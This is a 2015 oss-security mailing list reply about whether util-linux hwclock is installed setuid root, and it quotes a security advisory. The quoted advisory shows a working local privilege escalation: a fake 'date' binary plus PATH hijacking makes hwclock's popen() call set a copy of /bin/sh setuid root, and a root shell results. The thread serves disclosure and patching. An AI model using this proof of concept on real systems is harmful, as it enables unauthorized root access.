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Message-id: <728CB05F-659E-429E-A59D-577F4251DFDA@me.com>
Date: Tue, 26 May 2015 09:19:13 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: Re: hwclock(8) SUID privilege escalation
It’s not setuid root on my Ubuntu system.
larry@...p:~$ which hwclock
/sbin/hwclock
larry@...p:~$ ls -l /sbin/hwclock
-rwxr-xr-x 1 root root 46764 Feb 12 13:54 /sbin/hwclock
larry@...p:~$ uname -a
Linux meep 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:18 UTC 2015 i686 i686 i686 GNU/Linux
larry@...p:~$ cat /etc/issue
Ubuntu 14.04.2 LTS \n \l
> On May 26, 2015, at 6:47 AM, up201407890@...nos.dcc.fc.up.pt wrote:
>
> Hello,
>
> During a recent assessment I have stumbled across a system which had
> hwclock(8) setuid root
>
> hwclock is a part of util-linux, all versions affected
>
> $ man hwclock | sed -n '223,231p'
>
> Users access and setuid
> Sometimes, you need to install hwclock setuid root. If you
> want users other than the superuser to be able to display the clock
> value using the direct ISA I/O
> method, install it setuid root. If you have the /dev/rtc
> interface on your system or are on a non-ISA system, there's probably
> no need for users to use the
> direct ISA I/O method, so don't bother.
>
> In any case, hwclock will not allow you to set anything unless
> you have the superuser real uid. (This is restriction is not
> necessary if you haven't
> installed setuid root, but it's there for now).
>
> http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L2041
>
> "The program is designed to run setuid superuser, since we need to be able
> to do direct I/O. (More to the point: we need permission to execute the
> iopl() system call). (However, if you use one of the methods other than
> direct ISA I/O to access the clock, no setuid is required)."
>
> http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L1920
>
> "program is designed to run setuid (in some situations)"
>
>
> Some comments in code and unfortunately also man page
> advertising that setuid is no problem. That's pretty stupid promise.
>
>
> from util-linux/2.26.2-5/sys-utils/hwclock.c
> http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L748
>
>
> /* Quotes in date_opt would ruin the date command we construct. */
> if (strchr(date_opt, '"') != NULL) {
> warnx(_
> ("The value of the --date option is not a valid date.\n"
> "In particular, it contains quotation marks."));
> return 12;
> }
>
> sprintf(date_command, "date --date=\"%s\" +seconds-into-epoch=%%s",
> date_opt);
> [...]
>
> date_child_fp = popen(date_command, "r");
>
> [...]
>
> hwclock uses popen() to date_command which is 'date --date=\"%s\"
> +seconds-into-epoch=%%s'
>
> Exploiting is trivial, since $PATH is user-controlled
>
>
>
> $ ls -l /usr/sbin/hwclock
> -rwsr-sr-x. 1 root root 48096 Nov 27 14:10 /usr/sbin/hwclock
> $ cat > date.c;gcc date.c -o date
> main()
> {
> chown("/tmp/sploit", 0, 0);
> chmod("/tmp/sploit", 04755);
> }
> ^D
> $ cp /bin/sh /tmp/sploit
> $ PATH=".:$PATH" /usr/sbin/hwclock --set --date="05/23/2015 20:35:37"
> hwclock: The date command issued by hwclock returned unexpected results.
> The command was:
> date --date="05/23/2015 20:35:37" +seconds-into-epoch=%s
> The response was:
>
> hwclock: No usable set-to time. Cannot set clock.
> $ /tmp/sploit
> # id
> euid=0(root) groups=0(root)
>
>
> Can a CVE be assigned?
>
>
> Notes:
>
> Please note that this is possible on Debian-derived (and therefore Ubuntu),
> because /bin/sh is provided by dash which does NOT make use
> of privmode (does not drop privileges if ruid != euid, unlike bash),
> which is a very stupid idea.
>
> privmode is surprisingly effective at mitigating some common vulnerability
> classes and misconfigurations, and it has been around since mid 90's.
> Indeed, Chet Ramey (bash author and maintainer) explains that the
> purpose of this is to prevent "bogus system(3)/popen(3) calls in
> setuid executables"
>
>
> TL;DR: When setuid root, hwclock relies on $PATH to popen() the date
> command, meaning privilege escalation can occur since $PATH is
> user-controlled.
>
>
> Patches are available, signed off by Karel Zak <kzak@...hat.com>
> https://github.com/karelzak/util-linux/commit/687cc5d58942b24a9f4013c68876d8cbea907ab1
>
> Initial bug report:
> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=786804
>
>
> Thanks,
> Federico Bento.
>
> ----------------------------------------------------------------
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